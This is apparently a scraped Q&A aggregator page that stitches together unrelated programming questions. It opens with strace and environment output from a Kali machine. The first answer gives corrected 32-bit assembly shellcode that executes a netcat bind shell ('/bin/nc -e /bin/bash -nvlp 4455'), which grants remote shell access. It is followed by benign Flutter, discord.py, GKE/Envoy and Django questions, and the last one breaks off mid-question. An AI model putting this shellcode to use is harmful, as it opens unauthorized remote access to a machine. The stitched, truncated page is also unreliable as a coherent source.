rt_sigaction(SIGURG, {sa_handler=SIG_IGN, sa_mask=[URG], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[PIPE], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
newfstatat(AT_FDCWD, "/etc/resolv.conf", {st_mode=S_IFREG|0644, st_size=74, ...}, 0) = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3) = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
connect(3, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
close(3) = 0
newfstatat(AT_FDCWD, "/etc/nsswitch.conf", {st_mode=S_IFREG|0644, st_size=542, ...}, 0) = 0
newfstatat(AT_FDCWD, "/", {st_mode=S_IFDIR|0755, st_size=36864, ...}, 0) = 0
openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=542, ...}, AT_EMPTY_PATH) = 0
read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 542
read(3, "", 4096) = 0
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=542, ...}, AT_EMPTY_PATH) = 0
close(3) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_files.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3202\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=47664, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 75544, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7dce000
mmap(0x7ffff7dd1000, 24576, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7dd1000
mmap(0x7ffff7dd7000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x9000) = 0x7ffff7dd7000
mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xa000) = 0x7ffff7dd9000
mmap(0x7ffff7ddb000, 22296, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ddb000
close(3) = 0
mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=184, ...}, AT_EMPTY_PATH) = 0
lseek(3, 0, SEEK_SET) = 0
read(3, "127.0.0.1\tlocalhost\n127.0.1.1\tka"..., 4096) = 184
read(3, "", 4096) = 0
close(3) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\22\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18504, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 20496, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7dc8000
mmap(0x7ffff7dc9000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7ffff7dc9000
mmap(0x7ffff7dcb000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7dcb000
mmap(0x7ffff7dcc000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7dcc000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260C\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=93080, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 105088, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7dae000
mprotect(0x7ffff7db2000, 73728, PROT_NONE) = 0
mmap(0x7ffff7db2000, 57344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x4000) = 0x7ffff7db2000
mmap(0x7ffff7dc0000, 12288, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x12000) = 0x7ffff7dc0000
mmap(0x7ffff7dc4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15000) = 0x7ffff7dc4000
mmap(0x7ffff7dc6000, 6784, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dc6000
close(3) = 0
mprotect(0x7ffff7dc4000, 4096, PROT_READ) = 0
mprotect(0x7ffff7dcc000, 4096, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260!\0\0\0\0\0\0"..., 832) = 832
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=31136, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 32984, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7da5000
mmap(0x7ffff7da7000, 16384, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7ffff7da7000
mmap(0x7ffff7dab000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff7dab000
mmap(0x7ffff7dac000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff7dac000
close(3) = 0
mprotect(0x7ffff7dac000, 4096, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
write(2, "/bin//nc-e //bin/bash -nvlp 4455"..., 62) = 62
write(2, "Unknown host", 12) = 12
write(2, "\n", 1) = 1
close(-1) = -1 EBADF (Bad file descriptor)
exit_group(1) = ?
+++ exited with 1 +++
Result of env command:
COLORFGBG=15;0
COLORTERM=truecolor
COMMAND_NOT_FOUND_INSTALL_PROMPT=1
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
DESKTOP_SESSION=lightdm-xsession
DISPLAY=:0.0
DOTNET_CLI_TELEMETRY_OPTOUT=1
GDMSESSION=lightdm-xsession
GDM_LANG=en_US.utf8
GTK_MODULES=gail:atk-bridge
HOME=/home/kali
LANG=en_US.UTF-8
LANGUAGE=
LOGNAME=kali
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/kali/.local/bin
POWERSHELL_TELEMETRY_OPTOUT=1
POWERSHELL_UPDATECHECK=Off
PWD=/home/kali/Desktop/assembly
QT_ACCESSIBILITY=1
QT_AUTO_SCREEN_SCALE_FACTOR=0
QT_QPA_PLATFORMTHEME=qt5ct
SESSION_MANAGER=local/kali:@/tmp/.ICE-unix/1132,unix/kali:/tmp/.ICE-unix/1132
SHELL=/usr/bin/zsh
SSH_AGENT_PID=1180
SSH_AUTH_SOCK=/tmp/ssh-XXXXXXkm5FhN/agent.1132
TERM=xterm-256color
USER=kali
WINDOWID=0
XAUTHORITY=/home/kali/.Xauthority
XDG_CONFIG_DIRS=/etc/xdg
XDG_CURRENT_DESKTOP=XFCE
XDG_DATA_DIRS=/usr/share/xfce4:/usr/local/share/:/usr/share/:/usr/share
XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali
XDG_MENU_PREFIX=xfce-
XDG_RUNTIME_DIR=/run/user/1000
XDG_SEAT=seat0
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
XDG_SESSION_CLASS=user
XDG_SESSION_DESKTOP=lightdm-xsession
XDG_SESSION_ID=9
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
XDG_SESSION_TYPE=x11
XDG_VTNR=7
_JAVA_OPTIONS=-Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
SHLVL=1
OLDPWD=/home/kali/Desktop
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
LESS_TERMCAP_mb=
LESS_TERMCAP_md=
LESS_TERMCAP_me=
LESS_TERMCAP_so=
LESS_TERMCAP_se=
LESS_TERMCAP_us=
LESS_TERMCAP_ue=
_=/usr/bin/env
ANSWER
Answered 2021-Dec-29 at 14:12As you can see in strace
, the execve command executes as: execve("/bin//nc", ["/bin//nc", "/bin//nc-e //bin/bash -nvlp 4455"], NULL) = 0
It seems to be taking the whole /bin//nc-e //bin/bash -nvlp 4455
as a single argument and thus thinks it's a hostname. In order to get around that, the three argv[]
needed for execve()
is pushed seperately. argv[]=["/bin/nc", "-e/bin/bash", "-nvlp4455"]
These arguments are each pushed into edx, ecx, and ebx. since ebx needs to be /bin/nc, which was already done in the original code. we just needed to push 2nd and 3rd argv[] into ecx and edx and push it into stack. After that we just copy the whole stack into ecx, and then xor edx,edx
to set edx as NULL.
Here is the correct solution:
BITS 32
;Simple assembly execve call to execute /bin/ls -la
;modified to execve >
;/bin/nc -e /bin/sh -nvlp 4455
global _start
section .text
_start:
xor eax, eax ;create null eax register
; imul eax
;EBX = /bin/bash
push eax ;push null eax register to the stack
push 0x636e2f2f ;push command to the stack
push 0x6e69622f ;"/bin//nc"
mov ebx, esp ;move pointer to command into ebx
push eax ;push null eax register to the stack
;EDX = "-nvlp4455"
push word 0x35 ;push "5"
push 0x35343470 ;push "p445"
push 0x6c766e2d ;push "-nvl"
mov edx, esp ; store last argv[] is edx. and push to stack
; ECX = "/bin/bash"
push eax ; push null
push 0x68736162 ;push "bash"
push 0x2f2f6e69 ;push "in//"
push 0x622f652d ;push "-e/b"
mov ecx, esp ; store 2nd argv[] in ecx and push to stack
;PUSH all arguments to stack and set it to ECX
push eax ;push null eax register to the stack
push edx ; push "-nvlp4455"
push ecx ;;push "-e/bin/bash"
push ebx ;push "/bin/nc"
mov ecx, esp ;move pointer to start of the command to ecx
xor edx,edx ;null arguments for last envp[]
mov al, 0xb ;define execve
int 0x80 ;execute command
QUESTION
please what am i doing wrong here. i am trying to have a listview in an expanded panel list and if i rendered just two expanded list the code runs with no error. but if i rendered more than two, and i try to expand any of the other panel list, it returns the following error as RangeError (RangeError (index): Invalid value: Not in inclusive range 0..1: 2.
bellow is my code sample. thank you all.
ExpansionPanelList(
children: [
ExpansionPanel(
isExpanded: _isOpen[0],
headerBuilder: (context, isOpen) {
return Row(
children: [
SizedBox(width: 10.w),
Center(
child: Text(
"Ball Games ⚽ 🏀",
style: TextStyle(
fontSize: 17.sp,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[1],
headerBuilder: (context, isOpen) {
return Row(
children: [
SizedBox(width: 10.w),
Center(
child: Text(
"Racket & Bat 🥍",
style: TextStyle(
fontSize: 17.sp,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[1],
headerBuilder: (context, isOpen) {
return Row(
children: [
SizedBox(width: 10.w),
Center(
child: Text(
'Winter 🏂',
style: TextStyle(
fontSize: 17.sp,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[1],
headerBuilder: (context, isOpen) {
return Row(
children: [
SizedBox(width: 10.w),
Center(
child: Text(
'Water 🏊♀️ ',
style: TextStyle(
fontSize: 17.sp,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[1],
headerBuilder: (context, isOpen) {
return Row(
children: [
SizedBox(width: 10.w),
Center(
child: Text(
'Others 🚲🔫',
style: TextStyle(
fontSize: 17.sp,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
],
expansionCallback: (i, isOpen) {
setState(() {
_isOpen[i] = !isOpen; //this is where the error is pointing to
});
},
here is the listview i am returning in the expanded panel's body
Widget _myListView() {
return MediaQuery.removePadding(
context: context,
removeTop: true,
child: ListView(
shrinkWrap: true,
physics: ScrollPhysics(),
children: List1.keys.map((String key) {
return new CheckboxListTile(
title: new Text(key),
value: List1[key],
activeColor: Colors.black,
checkColor: Colors.white,
onChanged: (bool? value) {
setState(() {
List1[key] = value!;
});
},
);
}).toList(),
),
);
}
list1
Map List1 = {
'Bubble Football ⚽': false,
'Futsal 🧿': false,
'Beach Volleyball 🏐': false,
'Volleyball 🏐': false,
'Dodgeball 🏀': false,
'Rugby 🏉': false,
'American Footbal 🏈': false,
'Korftbal 🥎': false,
'Netbal ⚾': false,
};
List _isOpen = [true, false];
thanks.
ANSWER
Answered 2021-Dec-19 at 08:33The issue is coming from _isOpen
because it contains only two value but used on five widgets. We need to make the list that will contain five bool
in this case.
List _isOpen = [true, false, false, false, false];
And use unique index on each ExpansionPanel
ExpansionPanelList(
children: [
ExpansionPanel(
isExpanded: _isOpen[0],
headerBuilder: (context, isOpen) {
return Row(
children: const [
SizedBox(width: 10),
Center(
child: Text(
"Ball Games ⚽ 🏀",
style: TextStyle(
fontSize: 17,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[1],
headerBuilder: (context, isOpen) {
return Row(
children: const [
SizedBox(width: 10),
Center(
child: Text(
"Racket & Bat 🥍",
style: TextStyle(
fontSize: 17,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[2],
headerBuilder: (context, isOpen) {
return Row(
children: const [
SizedBox(width: 10),
Center(
child: Text(
'Winter 🏂',
style: TextStyle(
fontSize: 17,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[3],
headerBuilder: (context, isOpen) {
return Row(
children: const [
SizedBox(width: 10),
Center(
child: Text(
'Water 🏊♀️ ',
style: TextStyle(
fontSize: 17,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
ExpansionPanel(
isExpanded: _isOpen[4],
headerBuilder: (context, isOpen) {
return Row(
children: const [
SizedBox(width: 10),
Center(
child: Text(
'Others 🚲🔫',
style: TextStyle(
fontSize: 17,
fontWeight: FontWeight.w400,
color: Color(0xff333333)),
),
),
],
);
},
body: SingleChildScrollView(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
_myListView(),
// _myListView(),
],
),
),
),
],
expansionCallback: (i, isOpen) {
setState(() {
_isOpen[i] = !isOpen;
});
},
)
QUESTION
i have a discord.py Python Script but it dont send messages and it comes this error:
RuntimeWarning: coroutine 'Messageable.send' was never awaited
My Code:
@client.command()
async def shift(ctx, time=None, shifts=None):
if time is None:
f=open('times.json')
lines=f.readlines()
print(lines[1])
print(lines[2])
embed=discord.Embed(title="Shift Infos für diesen Tag")
embed.add_field(name="Zeit", value=f"{time}", inline=False)
embed.add_field(name="Shift", value=f"{shifts}", inline=False)
embed.add_field(name="Game", value="https://web.roblox.com/games/8063846199/VWS-Verkehrsbetriebe-Beta", inline=False)
await ctx.send(embed=embed)
else:
if shift is None:
ctx.send("Bitte gebe ein ob heute eine Shift ist. (Ja oder Nein)")
else:
ctx.send(f"Neue Shift Einstellung: Zeit: {time} {shifts}")
with open('times.json', 'a') as the_file:
the_file.write(f'{time}\n')
the_file.write(f'{shifts}')
ANSWER
Answered 2021-Dec-18 at 09:47Your error message already tells you the solution.
send
is asynchronous so you have to await
it, like you do when you send your embed.
else:
if shift is None:
await ctx.send("Bitte gebe ein ob heute eine Shift ist. (Ja oder Nein)")
else:
await ctx.send(f"Neue Shift Einstellung: Zeit: {time} {shifts}")
https://discordpy.readthedocs.io/en/master/api.html?highlight=send#discord.abc.Messageable.send
Also on an unrelated note: You open your file but never close it in your first if-block. Consider using a context manager, like you already do in your last else-block.
QUESTION
I have an application running on my local machine that uses React -> gRPC-Web -> Envoy -> Go app and everything runs with no problems. I'm trying to deploy this using GKE Autopilot and I just haven't been able to get the configuration right. I'm new to all of GCP/GKE, so I'm looking for help to figure out where I'm going wrong.
I was following this doc initially, even though I only have one gRPC service: https://cloud.google.com/architecture/exposing-grpc-services-on-gke-using-envoy-proxy
From what I've read, GKE Autopilot mode requires using External HTTP(s) load balancing instead of Network Load Balancing as described in the above solution, so I've been trying to get that to work. After a variety of attempts, my current strategy has an Ingress, BackendConfig, Service, and Deployment. The deployment has three containers: my app, an Envoy sidecar to transform the gRPC-Web requests and responses, and a cloud SQL proxy sidecar. I eventually want to be using TLS, but for now, I left that out so it wouldn't complicate things even more.
When I apply all of the configs, the backend service shows one backend in one zone and the health check fails. The health check is set for port 8080 and path /healthz which is what I think I've specified in the deployment config, but I'm suspicious because when I look at the details for the envoy-sidecar container, it shows the Readiness probe as: http-get HTTP://:0/healthz headers=x-envoy-livenessprobe:healthz. Does ":0" just mean it's using the default address and port for the container, or does indicate a config problem?
I've been reading various docs and just haven't been able to piece it all together. Is there an example somewhere that shows how this can be done? I've been searching and haven't found one.
My current configs are:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: grammar-games-ingress
#annotations:
# If the class annotation is not specified it defaults to "gce".
# kubernetes.io/ingress.class: "gce"
# kubernetes.io/ingress.global-static-ip-name:
spec:
defaultBackend:
service:
name: grammar-games-core
port:
number: 80
---
apiVersion: cloud.google.com/v1
kind: BackendConfig
metadata:
name: grammar-games-bec
annotations:
cloud.google.com/neg: '{"ingress": true}'
spec:
sessionAffinity:
affinityType: "CLIENT_IP"
healthCheck:
checkIntervalSec: 15
port: 8080
type: HTTP
requestPath: /healthz
timeoutSec: 60
---
apiVersion: v1
kind: Service
metadata:
name: grammar-games-core
annotations:
cloud.google.com/neg: '{"ingress": true}'
cloud.google.com/app-protocols: '{"http":"HTTP"}'
cloud.google.com/backend-config: '{"default": "grammar-games-bec"}'
spec:
type: ClusterIP
selector:
app: grammar-games-core
ports:
- name: http
protocol: TCP
port: 80
targetPort: 8080
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: grammar-games-core
spec:
# Two replicas for right now, just so I can see how RPC calls get directed.
# replicas: 2
selector:
matchLabels:
app: grammar-games-core
template:
metadata:
labels:
app: grammar-games-core
spec:
serviceAccountName: grammar-games-core-k8sa
containers:
- name: grammar-games-core
image: gcr.io/grammar-games/grammar-games-core:1.1.2
command:
- "/bin/grammar-games-core"
ports:
- containerPort: 52001
env:
- name: GAMESDB_USER
valueFrom:
secretKeyRef:
name: gamesdb-config
key: username
- name: GAMESDB_PASSWORD
valueFrom:
secretKeyRef:
name: gamesdb-config
key: password
- name: GAMESDB_DB_NAME
valueFrom:
secretKeyRef:
name: gamesdb-config
key: db-name
- name: GRPC_SERVER_PORT
value: '52001'
- name: GAMES_LOG_FILE_PATH
value: ''
- name: GAMESDB_LOG_LEVEL
value: 'debug'
resources:
requests:
# The proxy's memory use scales linearly with the number of active
# connections. Fewer open connections will use less memory. Adjust
# this value based on your application's requirements.
memory: "2Gi"
# The proxy's CPU use scales linearly with the amount of IO between
# the database and the application. Adjust this value based on your
# application's requirements.
cpu: "1"
readinessProbe:
exec:
command: ["/bin/grpc_health_probe", "-addr=:52001"]
initialDelaySeconds: 5
- name: cloud-sql-proxy
# It is recommended to use the latest version of the Cloud SQL proxy
# Make sure to update on a regular schedule!
image: gcr.io/cloudsql-docker/gce-proxy:1.24.0
command:
- "/cloud_sql_proxy"
# If connecting from a VPC-native GKE cluster, you can use the
# following flag to have the proxy connect over private IP
# - "-ip_address_types=PRIVATE"
# Replace DB_PORT with the port the proxy should listen on
# Defaults: MySQL: 3306, Postgres: 5432, SQLServer: 1433
- "-instances=grammar-games:us-east1:grammar-games-db=tcp:3306"
securityContext:
# The default Cloud SQL proxy image runs as the
# "nonroot" user and group (uid: 65532) by default.
runAsNonRoot: true
# Resource configuration depends on an application's requirements. You
# should adjust the following values based on what your application
# needs. For details, see https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
resources:
requests:
# The proxy's memory use scales linearly with the number of active
# connections. Fewer open connections will use less memory. Adjust
# this value based on your application's requirements.
memory: "2Gi"
# The proxy's CPU use scales linearly with the amount of IO between
# the database and the application. Adjust this value based on your
# application's requirements.
cpu: "1"
- name: envoy-sidecar
image: envoyproxy/envoy:v1.20-latest
ports:
- name: http
containerPort: 8080
resources:
requests:
cpu: 10m
ephemeral-storage: 256Mi
memory: 256Mi
volumeMounts:
- name: config
mountPath: /etc/envoy
readinessProbe:
httpGet:
port: http
httpHeaders:
- name: x-envoy-livenessprobe
value: healthz
path: /healthz
scheme: HTTP
volumes:
- name: config
configMap:
name: envoy-sidecar-conf
---
apiVersion: v1
kind: ConfigMap
metadata:
name: envoy-sidecar-conf
data:
envoy.yaml: |
static_resources:
listeners:
- name: listener_0
address:
socket_address:
address: 0.0.0.0
port_value: 8080
filter_chains:
- filters:
- name: envoy.filters.network.http_connection_manager
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
access_log:
- name: envoy.access_loggers.stdout
typed_config:
"@type": type.googleapis.com/envoy.extensions.access_loggers.stream.v3.StdoutAccessLog
codec_type: AUTO
stat_prefix: ingress_http
route_config:
name: local_route
virtual_hosts:
- name: http
domains:
- "*"
routes:
- match:
prefix: "/grammar_games_protos.GrammarGames/"
route:
cluster: grammar-games-core-grpc
cors:
allow_origin_string_match:
- prefix: "*"
allow_methods: GET, PUT, DELETE, POST, OPTIONS
allow_headers: keep-alive,user-agent,cache-control,content-type,content-transfer-encoding,custom-header-1,x-accept-content-transfer-encoding,x-accept-response-streaming,x-user-agent,x-grpc-web,grpc-timeout
max_age: "1728000"
expose_headers: custom-header-1,grpc-status,grpc-message
http_filters:
- name: envoy.filters.http.health_check
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.health_check.v3.HealthCheck
pass_through_mode: false
headers:
- name: ":path"
exact_match: "/healthz"
- name: "x-envoy-livenessprobe"
exact_match: "healthz"
- name: envoy.filters.http.grpc_web
- name: envoy.filters.http.cors
- name: envoy.filters.http.router
typed_config: {}
clusters:
- name: grammar-games-core-grpc
connect_timeout: 0.5s
type: logical_dns
lb_policy: ROUND_ROBIN
http2_protocol_options: {}
load_assignment:
cluster_name: grammar-games-core-grpc
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address:
address: 0.0.0.0
port_value: 52001
health_checks:
timeout: 1s
interval: 10s
unhealthy_threshold: 2
healthy_threshold: 2
grpc_health_check: {}
admin:
access_log_path: /dev/stdout
address:
socket_address:
address: 127.0.0.1
port_value: 8090
ANSWER
Answered 2021-Oct-14 at 22:35Here is some documentation about Setting up HTTP(S) Load Balancing with Ingress. This tutorial shows how to run a web application behind an external HTTP(S) load balancer by configuring the Ingress resource.
Related to Creating a HTTP Load Balancer on GKE using Ingress, I found two threads where instances created are marked as unhealthy.
In the first one, they mention the necessity to manually enable a firewall rule to allow http load balancer ip range to pass health check.
In the second one, they mention that the Pod’s spec must also include containerPort. Example:
spec:
containers:
- name: nginx
image: nginx:1.7.9
ports:
- containerPort: 80
Adding to that, here is some more documentation about:
QUESTION
class Genre(MPTTModel):
name = models.CharField(max_length=50, unique=True)
parent = TreeForeignKey('self', on_delete=models.CASCADE, null=True,
blank=True, related_name='children')
def __str__(self):
return self.name
class Game(models.Model):
name = models.CharField(max_length=50)
genre = models.ManyToManyField(Genre, blank=True, related_name='games')
def __str__(self):
return self.name
and have a serializer and views,
class GameSerializer(serializers.ModelSerializer):
class Meta:
model = Game
exclude = ['genre', ]
class GenreGameSerializer(serializers.ModelSerializer):
children = RecursiveField(many=True)
games = GameSerializer(many=True,)
class Meta:
model = Genre
fields = ['id', 'name', 'children', 'games']
class GamesByGenreAPI(APIView):
queryset = Genre.objects.root_nodes()
serializer_class = GenreGameSerializer
def get(self, request, *args, **kwargs):
ser = GenreGameSerializer(data=Genre.objects.root_nodes()
.prefetch_related('children__children', 'games'), many=True)
if ser.is_valid():
pass
return Response(ser.data)
so basically the model populated when serialized looks like this
